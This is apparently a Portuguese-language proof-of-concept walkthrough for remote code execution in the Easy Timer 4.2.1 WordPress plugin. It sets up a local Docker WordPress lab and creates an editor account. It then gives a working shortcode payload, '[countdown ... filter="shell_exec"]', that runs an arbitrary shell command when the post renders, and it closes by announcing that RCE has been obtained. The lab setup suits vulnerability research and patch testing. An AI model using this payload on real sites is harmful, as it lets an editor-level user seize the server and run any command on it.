Easy Timer v4.2.1 -

Pré-requisitos

• Docker Engine instalado
• Docker Compose instalado

Consulte a documentação oficial do Docker para instalação: Instalação do Docker Engine

1. Iniciar o WordPress com Docker

A partir do diretório do seu projeto:

sudo docker-compose up -d
mkdir -p wp-content/plugins
cd wp-content/plugins

wget https://downloads.wordpress.org/plugin/easy-timer.4.2.1.zip
unzip easy-timer.4.2.1.zip

sudo docker compose restart wordpress

2. Configurar o WordPress

1. Navegue até http://localhost:8000/
2. Conclua a Configuração do WordPress
3. Navegue até Painel do WordPress → Plugins → Easy Timer e clique em Ativar.

3. Adicionar novo usuário com Privilégios de Editor

A partir do diretório do seu projeto, execute o seguinte comando:

docker compose run --rm wpcli user create \
  editoruser [email protected] \
  --role=editor \
  --user_pass=P@ssw0rd!

(nota: substitua pelo seu nome de usuário, e-mail e senha de sua escolha!)

4. Criar Post

1. Vá para Posts → Adicionar Novo
2. Insira um Bloco de Shortcode e digite:

[countdown date=2025/12/17-00:00:00 filter="shell_exec"]ls -l[/countdown]

3. Clique em Atualizar → Visualizar Post para ver o timer executar.

⚠️ Nota: Certifique-se de que está usando um Bloco de Shortcode, não um bloco de Parágrafo, para que o shortcode seja renderizado corretamente.

---

Parabéns, você obteve RCE.

Dicas de Depuração

• Verifique os contêineres em execução:

sudo docker ps

Você deve ver algo como:

• Se os shortcodes não estiverem sendo renderizados:

  1. Vá para Aparência → Temas
  2. Ative Twenty Twenty-Three (ou outro tema padrão).

• Se ao navegar para http://localhost:8000/ aparecer Banco de Dados Não Conectado:

  1. Aguarde um ou dois minutos para o Banco de Dados concluir a configuração